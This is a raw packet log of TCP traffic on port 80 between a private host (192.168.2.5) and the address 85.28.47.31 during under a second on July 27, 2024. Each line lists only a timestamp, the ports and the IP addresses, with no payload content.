Jul 27, 2024 12:01:13.768666983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768683910 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768707037 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768729925 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.768975019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.768991947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.769006968 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.769021988 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.769026995 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.769037008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.769052982 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.769062996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.769068003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.769083977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.769088984 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.769098043 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.769108057 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.769114017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.769129038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.769129038 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.769145012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.769154072 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.769172907 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.769195080 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770579100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770602942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770618916 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770634890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770648956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770658970 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770663977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770678997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770685911 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770697117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770704031 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770713091 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770724058 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770728111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770742893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770745039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770759106 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770764112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770773888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770790100 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770791054 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770803928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770816088 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770819902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770834923 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770844936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770850897 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770864964 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770865917 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.770890951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770890951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.770909071 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.773020983 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.773036003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.773051023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.773066044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.773080111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.773096085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.773109913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.773117065 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.773118019 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.773127079 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.773138046 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.773140907 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.773156881 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.773164034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.773171902 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.773180008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.773186922 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.773197889 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.773221016 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.773236036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.774249077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.774272919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.774286985 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.774302959 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.774317980 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.774324894 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.774333954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.774348021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.774349928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.774363041 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.774367094 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.774379969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.774389029 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.774403095 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.774425983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.774425983 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.779774904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.779855013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.779870987 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.779906034 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.779936075 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.780003071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780019045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780035019 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780061007 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.780086040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.780273914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780289888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780304909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780319929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780324936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.780335903 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780345917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.780345917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.780352116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780370951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.780384064 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.780401945 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.780787945 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780803919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780818939 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780834913 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.780858040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.780884027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.781091928 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.781106949 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.781121969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.781136990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.781142950 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.781161070 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.781162977 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.781177044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.781183004 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.781191111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.781207085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.781215906 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.781222105 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.781232119 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.781236887 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.781250954 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.781254053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.781269073 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.781276941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.781291962 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.781312943 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.782181025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.782196045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.782227039 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.782253027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.782354116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.782368898 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.782419920 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.782525063 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.782538891 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.782567024 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.782596111 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.862591028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862606049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862622976 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862632036 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862643003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862654924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862667084 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862772942 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862782955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862792969 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862802029 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862812996 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862823963 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862833977 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862843990 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.862854004 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.863426924 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.863444090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.863455057 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.863465071 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.863476038 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.863487005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.863497972 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.863509893 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.863522053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864080906 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864090919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864100933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864110947 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864119053 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864129066 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864137888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864146948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864156961 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864165068 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864176989 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864187002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.864572048 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.868949890 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.868982077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.868998051 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869014025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869029045 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869040012 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869045973 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869060040 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869072914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869088888 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869103909 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869111061 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869119883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869132996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869136095 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869153023 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869163036 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869168997 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869193077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869195938 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869211912 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869226933 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869241953 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869257927 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869263887 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869271994 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869290113 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869304895 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869321108 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869318008 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869337082 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869343996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869352102 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869366884 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869380951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869385958 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869395971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869410992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869426012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869427919 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869441032 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869457006 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869472027 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869478941 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869483948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.869518042 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.869537115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.870244026 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.870275021 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.870338917 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.870387077 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.870404005 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.870419025 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.870455980 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.870484114 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.873764992 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.873831987 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.874089003 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874105930 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874120951 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874135971 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874144077 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.874150991 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874166965 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874221087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.874720097 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874735117 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874749899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874763012 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874778986 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874789000 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.874795914 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874813080 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.874818087 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.874839067 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.874861956 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.874999046 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.875149965 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.875185013 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.875207901 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.875297070 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.876138926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876209021 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.876318932 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876333952 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876349926 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876365900 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876380920 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876385927 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.876395941 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876411915 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876424074 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.876426935 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876441956 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876454115 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.876456022 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876475096 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.876487970 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876507044 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876521111 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876537085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.876576900 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.876605988 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.877134085 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.877197027 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.877295017 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.877360106 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.956146002 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956178904 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956195116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956211090 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956229925 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956262112 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.956305981 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956321955 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956337929 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956342936 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.956368923 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.956433058 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956528902 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.956581116 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956665993 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.956666946 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.956892014 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956907034 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956922054 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956935883 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.956959963 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.956995010 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.958673954 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.958688974 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.958704948 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.958739996 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.958762884 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.958808899 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.958823919 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.958882093 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.959100008 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.959115028 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.959130049 CEST	80	49704	85.28.47.31	192.168.2.5
Jul 27, 2024 12:01:13.959162951 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.959183931 CEST	49704	80	192.168.2.5	85.28.47.31
Jul 27, 2024 12:01:13.959244967 CEST	80	49704	85.28.47.31	192.168.2.5
